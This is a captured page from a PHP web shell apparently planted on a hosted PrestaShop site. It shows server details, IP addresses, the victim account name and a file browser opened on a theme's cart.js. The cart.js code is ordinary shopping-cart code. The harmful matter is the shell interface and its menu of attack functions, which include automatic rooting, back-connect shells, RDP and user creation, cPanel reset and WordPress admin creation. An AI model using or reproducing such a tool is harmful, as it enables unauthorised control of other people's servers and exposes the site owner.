Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
themes /
sp_ego_e /
_dev /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
components
[ DIR ]
drwx---r-x
lib
[ DIR ]
drwx---r-x
cart.js
6.29
KB
-rw----r--
checkout.js
2.23
KB
-rw----r--
customer.js
1.43
KB
-rw----r--
listing.js
5.99
KB
-rw----r--
product.js
4
KB
-rw----r--
responsive.js
2.45
KB
-rw----r--
theme.js
2.18
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cart.js
import $ from 'jquery'; import prestashop from 'prestashop'; prestashop.cart = prestashop.cart || {}; prestashop.cart.active_inputs = null; var spinnerSelector = 'input[name="product-quantity-spin"]'; /** * Attach Bootstrap TouchSpin event handlers */ function createSpin() { $.each($(spinnerSelector), function (index, spinner) { $(spinner).TouchSpin({ verticalbuttons: true, verticalupclass: 'material-icons touchspin-up', verticaldownclass: 'material-icons touchspin-down', buttondown_class: 'btn btn-touchspin js-touchspin js-increase-product-quantity', buttonup_class: 'btn btn-touchspin js-touchspin js-decrease-product-quantity', min: parseInt($(spinner).attr('min'), 10), max: 1000000 }); }); } $(document).ready(() => { let productLineInCartSelector = '.js-cart-line-product-quantity'; let promises = []; prestashop.on('updateCart', () => { $('.quickview').modal('hide'); }); prestashop.on('updatedCart', () => { createSpin(); }); createSpin(); let $body = $('body'); function isTouchSpin(namespace) { return namespace === 'on.startupspin' || namespace === 'on.startdownspin'; } function shouldIncreaseProductQuantity(namespace) { return namespace === 'on.startupspin'; } function findCartLineProductQuantityInput($target) { var $input = $target.parents('.bootstrap-touchspin').find(productLineInCartSelector); if ($input.is(':focus')) { return null; } else { return $input; } } function camelize(subject) { let actionTypeParts = subject.split('-'); let i; let part; let camelizedSubject = ''; for (i = 0; i < actionTypeParts.length; i++) { part = actionTypeParts[i]; if (0 !== i) { part = part.substring(0, 1).toUpperCase() + part.substring(1); } camelizedSubject = camelizedSubject + part; } return camelizedSubject; } function parseCartAction($target, namespace) { if (!isTouchSpin(namespace)) { return { url: $target.attr('href'), type: camelize($target.data('link-action')) } } let $input = findCartLineProductQuantityInput($target); if (!$input) { return; } let cartAction = {}; if (shouldIncreaseProductQuantity(namespace)) { cartAction = { url: $input.data('up-url'), type: 'increaseProductQuantity' }; } else { cartAction = { url: $input.data('down-url'), type: 'decreaseProductQuantity' } } return cartAction; } let abortPreviousRequests = () => { var promise; while (promises.length > 0) { promise = promises.pop(); promise.abort(); } }; var getTouchSpinInput = ($button) => { return $($button.parents('.bootstrap-touchspin').find('input')); }; var handleCartAction = (event) => { event.preventDefault(); let $target = $(event.currentTarget); let dataset = event.currentTarget.dataset; let cartAction = parseCartAction($target, event.namespace); let requestData = { ajax: '1', action: 'update' }; if (typeof cartAction === 'undefined') { return; } abortPreviousRequests(); $.ajax({ url: cartAction.url, method: 'POST', data: requestData, dataType: 'json', beforeSend: function (jqXHR) { promises.push(jqXHR); } }).then(function (resp) { var $quantityInput = getTouchSpinInput($target); $quantityInput.val(resp.quantity); // Refresh cart preview prestashop.emit('updateCart', { reason: dataset }); }).fail((resp) => { prestashop.emit('handleError', { eventType: 'updateProductInCart', resp: resp, cartAction: cartAction.type }); }); }; $body.on( 'click', '[data-link-action="delete-from-cart"], [data-link-action="remove-voucher"]', handleCartAction ); $body.on('touchspin.on.startdownspin', spinnerSelector, handleCartAction); $body.on('touchspin.on.startupspin', spinnerSelector, handleCartAction); function sendUpdateQuantityInCartRequest(updateQuantityInCartUrl, requestData, $target) { abortPreviousRequests(); return $.ajax({ url: updateQuantityInCartUrl, method: 'POST', data: requestData, dataType: 'json', beforeSend: function (jqXHR) { promises.push(jqXHR); } }).then(function (resp) { $target.val(resp.quantity); var dataset; if ($target && $target.dataset) { dataset = $target.dataset; } else { dataset = resp; } // Refresh cart preview prestashop.emit('updateCart', { reason: dataset }); }).fail((resp) => { prestashop.emit('handleError', {eventType: 'updateProductQuantityInCart', resp: resp}) }); } function getRequestData(quantity) { return { ajax: '1', qty: Math.abs(quantity), action: 'update', op: getQuantityChangeType(quantity) } } function getQuantityChangeType($quantity) { return ($quantity > 0) ? 'up' : 'down'; } function updateProductQuantityInCart(event) { let $target = $(event.currentTarget); let updateQuantityInCartUrl = $target.data('update-url'); let baseValue = $target.attr('value'); // There should be a valid product quantity in cart let targetValue = $target.val(); if (targetValue != parseInt(targetValue) || targetValue < 0 || isNaN(targetValue)) { $target.val(baseValue); return; } // There should be a new product quantity in cart let qty = targetValue - baseValue; if (qty == 0) { return; } var requestData = getRequestData(qty); sendUpdateQuantityInCartRequest(updateQuantityInCartUrl, requestData, $target); } $body.on( 'focusout', productLineInCartSelector, (event) => { updateProductQuantityInCart(event); } ); $body.on( 'keyup', productLineInCartSelector, (event) => { if (event.keyCode == 13) { updateProductQuantityInCart(event); } } ); $body.on( 'click', '.js-discount .code', (event) => { event.stopPropagation(); var $code = $(event.currentTarget); var $discountInput = $('[name=discount_name]'); $discountInput.val($code.text()); return false; } ) });
Close